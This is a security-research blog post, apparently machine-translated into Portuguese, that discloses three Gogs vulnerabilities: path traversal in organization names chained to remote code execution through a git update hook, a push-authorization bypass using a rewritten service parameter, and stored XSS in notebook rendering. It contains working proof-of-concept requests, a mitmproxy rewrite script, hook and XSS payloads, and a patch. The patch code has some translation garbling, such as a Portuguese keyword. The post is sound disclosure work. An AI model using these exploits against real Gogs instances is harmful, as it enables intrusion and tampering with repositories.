Gogs é uma plataforma de alojamento Git de código aberto, semelhante ao GitHub ou ao GitLab. A aplicação permite aos utilizadores gerir os seus próprios repositórios e organizações. Nos bastidores, depende fortemente do git CLI.
Há um longo historial de RCE no Gogs, sendo que a maioria demora algum tempo a ser corrigida, exigindo a divulgação pública antes mesmo de ser lançada uma versão oficialmente corrigida. Este caso foi diferente. Após alguns meses de silêncio, parece que os responsáveis pela manutenção retomaram o trabalho de reforço da segurança do Gogs, e todas as nossas falhas foram corrigidas a partir da versão 0.14.3! Esperamos que esta tendência se mantenha e que, eventualmente, o Gogs atinja um estado de segurança. No entanto, existe atualmente ainda uma forma de contornar uma vulnerabilidade que reportámos e que os nossos agentes de testes de penetração com IA detetaram, para a qual ainda não foi lançada uma correção. Fornecemos abaixo uma correção manual do código para essa vulnerabilidade.
Este artigo irá centrar-se principalmente na vulnerabilidade de execução remota de código (CVE-2026-52813), uma vez que é a mais interessante do ponto de vista técnico. Mas também irei explicar um erro lógico que permite escrever em repositórios de leitura única (CVE-2026-52810), juntamente com uma vulnerabilidade XSS na biblioteca de renderização do Jupyter que o Gogs estava a utilizar (GHSA-6vxv-wg6j-5qwp).
Vamos começar já!
Percurso no nome da organização
Começaremos por explicar como descobrimos a vulnerabilidade que foi, ao mesmo tempo, a mais impactante e a mais interessante do ponto de vista técnico: CVE-2026-52813 (GHSA-c39w-43gm-34h5).
Com o «Aikido », realizamos muitas análises de « pentest de IA » em projetos de código aberto, incluindo o Gogs. Aqui está uma parte de um relatório que recebemos de um dos nossos agentes de testes de penetração:

Referia-se a um percurso de diretório no nome de utilizador da organização, acessível apenas ao utilizar a API, para gravar fora do diretório pretendido, no resto do sistema de ficheiros.
Vamos aprofundar um pouco mais a causa principal do que foi detetado, para compreender melhor o problema. A parte mais importante é esta função em repox.go:
func UserPath(user string) string {
return filepath.Join(conf.Repository.Root, strings.ToLower(user))
}
Determina em que local do sistema de ficheiros os repositórios de cada utilizador são armazenados e limita-se a juntar o nome de utilizador ao diretório raiz dos repositórios configurados. Juntar caminhos sem sanitização é sempre perigoso, porque o sistema operativo suporta ../ sequências para sair de quaisquer diretórios, e o mesmo se aplica a isto .Join() em Go.
Felizmente para o Gogs, estes nomes de utilizador são desinfetado durante o registo, utilizando o AlphaDashDot restrição que permite apenas letras, números e -_. caracteres. Isto torna impossível registar um utilizador com ../ em nome deles:
type Register struct {
UserName string `binding:"Required;AlphaDashDot;MaxSize(35)"`
Email string `binding:"Required;Email;MaxSize(254)"`
Password string `binding:"Required;MaxSize(255)"`
Retype string
}
Mas usuários não são a única coisa que passa por aqui UserPath(). Organizações também estão corretas e, quando analisamos a sua definição, não vemos qualquer tipo de «sanitização» para o Nome de utilizador campo:
type createOrgRequest struct {
UserName string `json:"username" binding:"Required"`
FullName string `json:"full_name"`
Description string `json:"description"`
Website string `json:"website"`
Location string `json:"location"`
}
Isso significa que podemos criar uma organização chamada ../../../../../tmp/test para fazer UserPath() para que volte /caminho/para/a/raiz/ + ../../../../../tmp/test = /tmp/test. Quaisquer repositórios criados dentro da organização serão então guardados neste novo diretório, fora da raiz.
Vamos experimentar na prática:
s = requests.Session()
# Get API token
r = s.post(f"{HOST}/api/v1/users/{USERNAME}/tokens",
auth=(USERNAME, PASSWORD),
json={"name": secrets.token_hex(12)}
)
r.raise_for_status()
sha1 = r.json().get("sha1")
s.headers.update({"Authorization": f"token {sha1}"})
# Create organization via API
org_name = "../../../../../tmp/test"
r = s.post(f"{HOST}/api/v1/user/orgs",
json={
"username": org_name,
"full_name": "path-traversal",
}
)
print(r.json()) # {'id': 4, 'username': '../../../../../tmp/test', 'full_name': 'deep', 'avatar_url': 'https://gogs.local/img/avatar_default.png', 'description': '', 'website': '', 'location': ''}
Agora que a organização foi criada, podemos ver uma pasta no seu interior /tmp denominado teste/:
$ ls -l /tmp
total 4
drwxr-xr-x 2 git git 4096 Jun 8 09:32 teste
Para o preencher, podemos agora criar um novo repositório sob a organização maliciosa:
r = s.post(
f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos",
json={
"name": "repo1",
"description": "poc",
"private": False,
"auto_init": True,
"readme": "Default",
}
)
print(r.json()) # {'id': 1, 'owner': ..., 'name': 'repo1', 'full_name': '../../../../../tmp/test/repo1', 'description': 'poc', 'private': False, ...}
Conseguimos! Ao verificar novamente o sistema de ficheiros, descobrimos que o repo1.git A pasta foi criada no local que indicámos:
$ ls -l /tmp/test/repo1.git
total 28
-rw-r--r-- 1 git git 23 Jun 8 09:41 HEAD
-rw-r--r-- 1 git git 66 Jun 8 09:41 config
-rw-r--r-- 1 git git 73 Jun 8 09:41 descrição
drwxr-xr-x 2 git git 4096 Jun 8 09:41 hooks
drwxr-xr-x 2 git git 4096 Jun 8 09:41 info
drwxr-xr-x 7 git git 4096 Jun 8 09:41 objetos
drwxr-xr-x 4 git git 4096 Jun 8 09:41 referênciasIsto prova que temos algum tipo de percurso de diretórios a funcionar. Embora tenhamos inicializado o repositório com um ficheiro README, este não está visível aqui no sistema de ficheiros. Isso deve-se ao facto de o que está aqui armazenado ser um repositório vazio. Um que contenha apenas os ficheiros de metadados do Git, sem «worktree». O Gogs não necessita dos ficheiros reais durante o seu funcionamento normal. Consegue obter todos os dados a partir do ficheiro comprimido objetos e a estrutura neste repositório vazio.
Escrever ficheiros arbitrários utilizando o conteúdo do repositório Git seria uma funcionalidade muito poderosa. Parece que temos uma vulnerabilidade de percurso de caminho muito fraca, em que só conseguimos criar esta estrutura específica de metadados do Git…
Um caso extremo é editar ficheiros na interface do Gogs. Isto seria complicado de fazer apenas com operações do Git, pelo que o Gogs cria temporariamente um verdadeiro árvore de trabalho localmente em /data/gogs/data/tmp/local-r/ com um identificador incremental (2):
$ find / -name README.md 2>/dev/null
/data/gogs/data/tmp/local-r/2/README.md
Finalmente encontrámos o que criámos README.md ficheiro aqui. Infelizmente, este caminho já não contém o nosso nome de utilizador, pelo que não podemos fazer com que a nossa vulnerabilidade de percurso de caminho grave ficheiros arbitrários. Podemos:
- Criar repositórios «bare» (apenas metadados Git) em qualquer local através da percussão de percursos
- Criar árvores de trabalho (com ficheiros reais) apenas num caminho específico e seguro
Isso é suficiente para causar danos numa configuração padrão do Gogs? Será que conseguiríamos obter RCE apenas com esta escrita limitada de ficheiros?
RCE através do git config em repositórios aninhados
Foi aqui que assumimos manualmente a investigação, tentando levar a descoberta do agente sobre a traversal de caminho até à execução remota de código em pleno.
Estamos um pouco limitados no que esta vulnerabilidade nos permite fazer. Não podemos sobrescrever ficheiros existentes em locais arbitrários, porque não controlamos os nomes dos ficheiros nos metadados do Git. Apenas podemos criar um repositório vazio num local arbitrário.
A título de informação contextual, o Git tem «Hooks» que são scripts configurados no .git/hooks pasta que são executadas sempre que ocorrem determinadas operações do Git. Por exemplo, pré-confirmação é executado imediatamente antes de se efetuar um commit. Ou no lado do servidor atualização, que é executada sempre que é recebida uma notificação de um cliente.
Se um atacante conseguir escrever em qualquer um destes caminhos de hook, é quase certo que isso resulte em RCE, uma vez que a próxima operação do Git irá acionar a execução do script. Vamos aproveitar esta vulnerabilidade para executar comandos de sistema arbitrários.
Sabemos que não podemos substituir um .git/hooks ficheiro de outro repositório com esta traversal de caminho. Mas, pensando melhor, e se fizéssemos o inverso?
Podemos criar uma árvore de trabalho normal e, em seguida, colocar o nosso repositório vazio no seu interior, aproveitando a vulnerabilidade de percurso de caminho. Depois, podemos editar o ficheiro do repositório vazio hooks/update ficheiro da árvore de trabalho do repositório normal. Quando, em seguida, fazemos o «push» para esse repositório, o hook é acionado e conseguimos a RCE. Vamos experimentar na prática.
Primeiro, crie um repositório simples com o qual iremos editar ficheiros mais tarde. Por enquanto, isso irá apenas criar um diretório no sistema de ficheiros em /data/git/repositories/developer/editor.git (metadados), ainda não disponíveis em /data/gogs/data/tmp/local-r/1/ (árvore de trabalho). Sabemos que, para criar esta árvore de trabalho, basta adicionar qualquer ficheiro através da interface do utilizador do Gogs.

Depois de o fazer, a árvore de trabalho é criada com o ID do repositório (obtido através de /api/v1/repos/:proprietário/:repositório).
$ ls -la /data/gogs/data/tmp/local-r/1
drwxr-xr-x 7 git git 4096 Jun 9 08:53 .git
-rw-r--r-- 1 git git 10 de junho 9 08:53 README.md
-rw------- 1 git git 5 Jun 9 08:53 manequim
O próximo passo é escrever o nosso percorção de caminho organização nesta pasta editável. Vamos criar uma com o nome ../../gogs/data/tmp/local-r/1 para a pasta. Em seguida, crie um repositório nessa pasta.
org_name = "../../gogs/data/tmp/local-r/1"
r = s.post(f"{HOST}/api/v1/user/orgs", ...)
r = s.post(f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos", ...)Depois de o fazer, o ficheiro criado percorro O repositório aparece na árvore de trabalho:
$ ls -la
drwxr-xr-x 7 git git 4096 Jun 9 08:53 .git
-rw-r--r-- 1 git git 10 de junho 9 08:53 README.md
-rw------- 1 git git 5 Jun 9 08:53 dummy
drwxr-xr-x 6 git git 4096 Jun 9 11:45 traversal.git
$ cat traversal.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = trueSe recarregarmos o programador/editor A página já está no Gogs, mas ainda não a vemos, porque o sistema de ficheiros ainda não está sincronizado com a interface do utilizador. Para o fazer, vamos criar outro ficheiro fictício. Depois, ele aparece e podemos até explorar os seus ficheiros:

Parece que agora já podemos simplesmente editar o hooks/update arquivo como sendo malicioso, mas quando tentamos fazê-lo, o Gogs apresenta o seguinte erro na interface:
Falha ao atualizar/criar o ficheiro «traversal.git/hooks/update» com erro: erro interno do servidorNos registos do backend, vemos:
[ERRO] [...gs/internal/route/repo/editor.go:280 editFilePost()] Falha na atualização do ficheiro do repositório: caminho da árvore inválido «traversal.git/hooks/update»Infelizmente, existe uma verificação implementada para verificar se algum caminho que editarmos contém .git/, e o nosso traversal.git/hooks/update O «path» faz mesmo isso.
func (r *Repository) UpdateRepoFile(doer *User, opts UpdateRepoFileOptions) error {
// 🚨 SECURITY: Prevent uploading files into the ".git" directory.
if isRepositoryGitPath(opts.NewTreeName) {
return errors.Errorf("bad tree path %q", opts.NewTreeName)
}
...
}
func isRepositoryGitPath(path string) bool {
path = strings.ToLower(path)
return strings.HasSuffix(path, ".git") ||
strings.Contains(path, ".git/") ||
strings.Contains(path, `.git\`) ||
// Windows treats ".git." the same as ".git"
strings.HasSuffix(path, ".git.") ||
strings.Contains(path, ".git./") ||
strings.Contains(path, `.git.\`)
}
Portanto, o editor da interface de utilizador não permite editar o nosso repositório aninhado. Mas e quanto a um «push» nativo no Git?
$ git clone https://gogs.local/developer/editor.git && cd editor
$ echo 'id>/tmp/pwned' >> traversal.git/hooks/update
$ git add .
$ git commit -m "atualização do hook"
$ git push
Nome de utilizador para «https://gogs.local»: developer
Palavra-passe para «https://developer@gogs.local»:
Para https://gogs.local/developer/editor.git
8c7f89f..fe4cc1b master -> master
Funciona na perfeição! A verificação é mais flexível, na medida em que o nome de um segmento de percurso tem de ser exatamente igual a .git. Temos a sorte de o nome do repositório, sem nada à frente, ser traversal.git e não .git, uma vez que o método Git ainda permite esse nome.
Carregue novamente outro ficheiro de teste para atualizar a árvore de trabalho e já podemos ver o ficheiro atualizado!

Agora só falta fazer o push para o repositório vazio. Temos de fazer isto no repositório que se encontra na pasta ../../ organização, o que é um pouco complicado na interface do utilizador. Mas, através da API, basta codificar o caminho em URL para aceder sem problemas. Vamos iniciar outro upload de ficheiros para que, internamente, seja efetuado um commit numa segunda árvore de trabalho e, em seguida, esse commit seja enviado para o repositório vazio (ambos no mesmo sistema de ficheiros; é assim que o Git funciona e é assim que o Gogs gere internamente os seus repositórios).
r = s.put(
f"{HOST}/api/v1/repos/{org_enc}/traversal/contents/dummy4",
json={
"message": "trigger update hook",
"content": base64.b64encode(b"dummy4").decode(),
"branch": "master",
}
)
print(r.json()) # {'commit': {'url': 'http://4.245.3.4:13000/api/v1/repos/../../gogs/data/tmp/local-r/1/traversal/contents/dummy4', ...}, ...}
Após este commit no percorro repositório, é enviado para /data/gogs/data/tmp/local-r/1/traversal.git, o que desencadeia traversal.git/hooks/update. Substituímos-a para executar id > /tmp/pwned posteriormente, e quando verificamos este caminho, como era de esperar, encontramos o resultado de id:
$ cat /tmp/pwned
uid=1000(git) gid=101(git) grupos=101(git)
Conseguimos, com sucesso, executar código remotamente no Gogs, uma vez que o git utilizador!
Contornar a autorização de envio através da confusão entre «receive» e «pack»
De volta a um tipo de vulnerabilidade completamente diferente: CVE-2026-52810 (GHSA-wmfg-5p4h-5fw3). Em vez de injeções complicadas, trata-se de um simples erro lógico, mas difícil de detetar manualmente. Tudo isto acontece no interior do código de baixo nível Protocolo HTTP do Git, que o Gogs implementa para coisas como git push para um repositório.
Nas "Inteligente" No protocolo, existem dois serviços: git-upload-pack (pedir ao servidor para te enviar = puxar) e git-receive-pack (o servidor recebe novos dados de si = push).
Estas duas operações têm permissões diferentes associadas. Só deves poder push se tiveres Escrever autorização, mas para um simples puxar, Ler É suficiente. O Gogs implementa isto numa espécie de middleware para toda a lógica HTTP do Git:
func HTTPContexter(store Store) macaron.Handler {
...
isPull := c.Query("service") == "git-upload-pack" ||
strings.HasSuffix(c.Req.URL.Path, "git-upload-pack") ||
c.Req.Method == "GET"
...
mode := database.AccessModeWrite
if isPull {
mode = database.AccessModeRead
}
O pedido é tratado como um «pull» (leitura) se o serviço o parâmetro de consulta ou o caminho final é git-upload-pack.
O Gogs define, em seguida, os manipuladores para as ações específicas:
{lazyregexp.New("(.*?)/git-upload-pack$"), "POST", serviceUploadPack},
{lazyregexp.New("(.*?)/git-receive-pack$"), "POST", serviceReceivePack},
É de salientar que não há qualquer menção a um serviço parâmetro de consulta aqui. Após validar a autorização através de uma simples verificação de cadeia de caracteres no caminho, o sistema analisa novamente o caminho utilizando as expressões regulares acima referidas. Isto pode facilmente dar origem a discrepâncias, em que a autorização o interpreta como um Ler pedido, enquanto o manipulador correspondente é um Escrever endpoint.
O serviço O parâmetro de consulta destinava-se a /refs/info, mas ativado globalmente para fins de autorização. Isto significa que podemos solicitar um caminho de /git-receive-pack com um parâmetro ignorado de service=git-upload-pack. O Gogs vai ficar confuso e pensar que, devido ao parâmetro, isto deve ser um ler pedido. Mas quando chega ao manipulador, o ponto final de escrita é acedido!
Na verdade, tirar partido disto parece um pouco complicado, porque o protocolo para enviar commits é muito específico do Git. Mas podemos simplesmente criar um pequeno proxy que reescreva /git-receive-pack para /git-receive-pack?service=git-upload-pack para contornar a verificação:
from urllib.parse import parse_qsl, urlencode, urlsplit, urlunsplit
from mitmproxy import ctx, http
def request(flow: http.HTTPFlow) -> None:
u = urlsplit(flow.request.pretty_url)
if not u.path.endswith("/git-receive-pack"):
return
params = parse_qsl(u.query, keep_blank_values=True)
params.append(("service", "git-upload-pack"))
query = urlencode(params)
flow.request.url = urlunsplit((u.scheme, u.netloc, u.path, query, ""))
ctx.log.info(f"[poc] rewrite receive-pack -> {u.path}?{query}")
Este script pode ser utilizado com mitmproxy. Depois de o executar, podemos definir o http_proxy e https_proxy variáveis de ambiente noutro terminal antes de executar git comandos. O Git irá encaminhar todas as suas chamadas de rede através do nosso script, que reescreve o /git-receive-pack para acrescentar o service=git-upload-pack parâmetro de consulta.
Vamos tentar criar um repositório numa conta, depois cloná-lo e fazer um push com o proxy ativo:
$ mitmdump -s mitmproxy_addon.py -p 1337
$ export http_proxy=http://127.0.0.1:1337
$ export https_proxy=http://127.0.0.1:1337
$ git clone https://gogs.local/victim/target.git && cd target
$ echo POC > poc
$ git add .
$ git commit -m poc
$ git push
erro: Falha no RPC; HTTP 500 curl 22 O URL solicitado devolveu o erro: 500
send-pack: desconexão inesperada durante a a ler o pacote de banda lateral
falha fatal: a extremidade remota desligou inesperadamente
500? Ao verificar os registos do backend, deparámo-nos com uma referência a um ponteiro nulo?!
[Macaron] PANIC: erro de execução: endereço de memória inválido ou referência a um ponteiro nulo
runtime/panic.go:336 (0x492697)
runtime/signal_unix.go:931 (0x492665)
gogs.io/gogs/internal/database/repo_editor.go:67 (0x1286642)
gogs.io/gogs/internal/route/repo/http.go:257 (0x142e5e5)
gogs.io/gogs/internal/route/repo/http.go:282 (0x142ed44)
gogs.io/gogs/internal/route/repo/http.go:425 (0x142fbae)
nenhum no Go é apenas a sua versão de nulo. Se tentares ler uma propriedade de um objeto que esteja nenhum, ocorre uma «desreferência de ponteiro nulo». Se seguirmos o código em internal/database/repo_editor.go:67, vemos que:
EnvAuthUserID + "=" + strconv.FormatInt(opts.AuthUser.ID, 10),
Parece que o nosso AuthUser não estava definido. Mais acima na cadeia de chamadas, é suposto obtê-lo a partir do final de HTTPContexter():
func HTTPContexter(store Store) macaron.Handler {
...
c.Map(&HTTPContext{
Context: c,
OwnerName: ownerName,
OwnerSalt: owner.Salt,
RepoID: repo.ID,
RepoName: repoName,
AuthUser: authUser,
})
Mas devido à nossa derivação, isPull é true, e este retorno antecipado é o primeiro a ser atingido:
func HTTPContexter(store Store) macaron.Handler {
...
// Authentication is not required for pulling from public repositories.
if isPull && !repo.IsPrivate && !conf.Auth.RequireSigninView {
c.Map(&HTTPContext{
Context: c,
})
return
}
Por isso, AuthUser não está definido e, quando se tenta utilizá-lo por meio de receber-pacote, o programa trava. Felizmente, encontramos algumas formas simples de contornar este problema diretamente no código-fonte:
- Se
repo.IsPrivate, a condição é ignorada - Se
conf.Auth.RequireSigninViewSe estiver ativada, a condição é ignorada
Portanto, a vulnerabilidade só funciona em repositórios que não sejam acessíveis ao público. Se a variável global RequireSigninView Se essa configuração estiver definida, toda a instância fica vulnerável. Para facilitar os testes, vamos simplesmente criar um repositório privado e convidar o atacante como colaborador com acesso apenas de leitura:

Ao repetir o PoC, verificamos que o atacante consegue agora gravar com sucesso no repositório:
$ git push
Nome de utilizador para «https://gogs.local»: atacante
Palavra-passe para «https://developer@gogs.local»:
...
Objetos a gravar: 100% (3/3), 507 bytes | 507,00 KiB/s, concluído.
Total 3 (delta 1), reutilizado 0 (delta 0), reutilização de pacote 0
Para https://gogs.local/victim/target.git
62ef1eb..cb13c59 master -> master
A alteração também se reflete na interface do utilizador:

Com esta vulnerabilidade, um atacante pode escrever em qualquer repositório para o qual seja necessário estar autenticado para ler. Se estiver ligado ao CICD, isso pode desencadear implementações maliciosas e, de um modo geral, ocultar malware.
Sem correcções
Esta vulnerabilidade foi corrigida em #8331 ao verificar quais as rotas destinadas à receção e quais as destinadas ao envio. No entanto, isto A correção está incompleta porque a verificação de /git-receive-pack não corresponde /git-RECEIVE-pack (em maiúsculas), enquanto o router posterior não distingue maiúsculas de minúsculas. Já comunicámos esta falha de segurança ao responsável pela manutenção, mas, até ao momento da publicação deste artigo, ainda não recebemos qualquer resposta.
Aplique o seguinte patch ao código-fonte e recompile o Gogs para corrigir esta vulnerabilidade:
--- a/internal/route/repo/http.go
+++ b/internal/route/repo/http.go
@@ -62,8 +62,10 @@ func gitHTTPActionFromPath(urlPath, subpath, owner, repo string) string {
}
func gitHTTPIsPull(c *macaron.Context, action string) bool {
+ action = strings.ToLower(action)
if action == "info/refs" {
- retornar c.Query("service") != "git-receive-pack"
+ return !strings.EqualFold(c.Query("service"), "git-receive-pack")
}
return action != "git-receive-pack"
}
XSS armazenado em ficheiros .ipynb
Por último, tratava-se de uma exploração simples, mas com uma razão interessante: GHSA-6vxv-wg6j-5qwp (ainda sem CVE). Se tivéssemos apenas lido o código, pensaríamos que deveria ter sido devidamente sanitizado!
A maioria das interfaces de utilizador do Git dispõe de métodos de visualização personalizados para determinados ficheiros, incluindo os Jupyter Notebooks (.ipynb ficheiros). Estes ficheiros destinam-se a servir de exemplos interativos de entrada e saída de código Python, com descrições em Markdown incorporadas.

Podes perguntar-te: como é que eles estão a renderizar isso?
A resposta: uma versão extremamente desatualizada do notebookjs (0.4.2, sendo a mais recente a 0.8.0).
Praticamente sempre que se fala de Markdown, fala-se também de HTML. O conteúdo HTML bruto faz mesmo parte da especificação CommonMark, pelo que muitos renderizadores o implementam sem hesitação. O problema para o Gogs é que entradas não confiáveis (o conteúdo dos ficheiros de qualquer utilizador) chegam a este renderizador.
No código-fonte, parece que está a ser realizada alguma sanitização do lado do Gogs:
$.getJSON("/siteadmin/ipynb/raw/master/test.ipynb", null, function(notebook_json) {
var notebook = nb.parse(notebook_json);
var rendered = notebook.render();
$.ajax({
type: "POST",
url: '/-/api/sanitize_ipynb',
data: rendered.outerHTML,
processData: false,
contentType: false,
}).done(function(data) {
$("#ipython-notebook").append(data);
...
O backend utiliza bluemonday, uma biblioteca de sanitização muito conceituada para limpar a saída do notebookjs antes de anexar os dados ao DOM. Assim, uma carga útil como <u>te<script>1</script>st</u> transforma-se em <u>test</u>. Isto é seguro.
No entanto, é possível detectar um problema na própria biblioteca notebookjs. Durante a transformação de Markdown para HTML das células Markdown, esta cria um elemento temporário e atribui .innerHTML a isso:
var el = makeElement("div", ["cell", "markdown-cell"]);
el.innerHTML = nb.markdown(joinText(this.raw.source))
Apesar de ser não foi adicionado ao DOM, basta a própria atribuição a qualquer variável temporária de JavaScript para desencadear eventos no elemento. Para o <img> elemento, por exemplo, o seu src= já está carregado e pode falhar, o que desencadeia onerror=. Tudo bem, dentro do próprio notebookjs.
Por essa razão, uma carga útil como a seguinte funcionará independentemente do que o Gogs fizer com a saída:
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"<img src onerror=alert(origin)>"
]
}
],
"metadata": {},
"nbformat": 4,
"nbformat_minor": 2
}
A visualização do .ipynb O ficheiro agora provoca um ataque XSS durante a renderização:

O atacante pode espalhar esses ficheiros por todo o lado, por exemplo, nos seus próprios repositórios, em «Pull Requests» que são exibidos ao clicar em «Ver ficheiro», ou simplesmente enviando a qualquer outro utilizador um link direto para o seu ficheiro de carga útil.
Detecção
Para verificar se está afetado pela vulnerabilidade de execução remota de código (CVE-2026-52813), verifique se a sua versão do Gogs é a 0.14.2 ou inferior. O Aikido deteta esta versão na sua organização com um alerta «crítico»:

A falha de contorno da autorização de envio (CVE-2026-52810) não tem nenhuma versão oficialmente corrigida. Todas as versões estão, de momento, vulneráveis. O Aikido deteta instâncias do Gogs com um alerta de «alto»:

Conclusão
Como já foi referido várias vezes, integrar o Git numa aplicação continua a ser, muitas vezes, uma tarefa ambiciosa de se realizar com segurança. O sistema traz consigo tantas armadilhas no sistema de ficheiros que os atacantes podem explorar. Pior ainda, o impacto é frequentemente crítico. É por isso que é fundamental testar exaustivamente essas aplicações através da realização de testes de penetração.
Se demorar algum tempo a corrigir as vulnerabilidades depois de estas serem detetadas, isso deixa um período de tempo significativo durante o qual se sabe que a aplicação está sujeita a exploração. Na era da IA, toda a gente está a detetar vulnerabilidades. Os programadores têm a tarefa de lançar correções mais rapidamente do que antes, pelo que precisamos de nos habituar a acelerar também esta parte com ferramentas como o Autofix dAikido .
Além disso, pode até validar as correções de forma autónoma com pentest de IA e continuar a lançar funcionalidades e melhorias que as pessoas realmente querem.
Atualmente, o Gogs não está a ser mantido ativamente, pelo que é provável que existam vulnerabilidades. Recomendamos a utilização de uma solução Git auto-hospedada diferente, por enquanto, até que a situação se acalme.

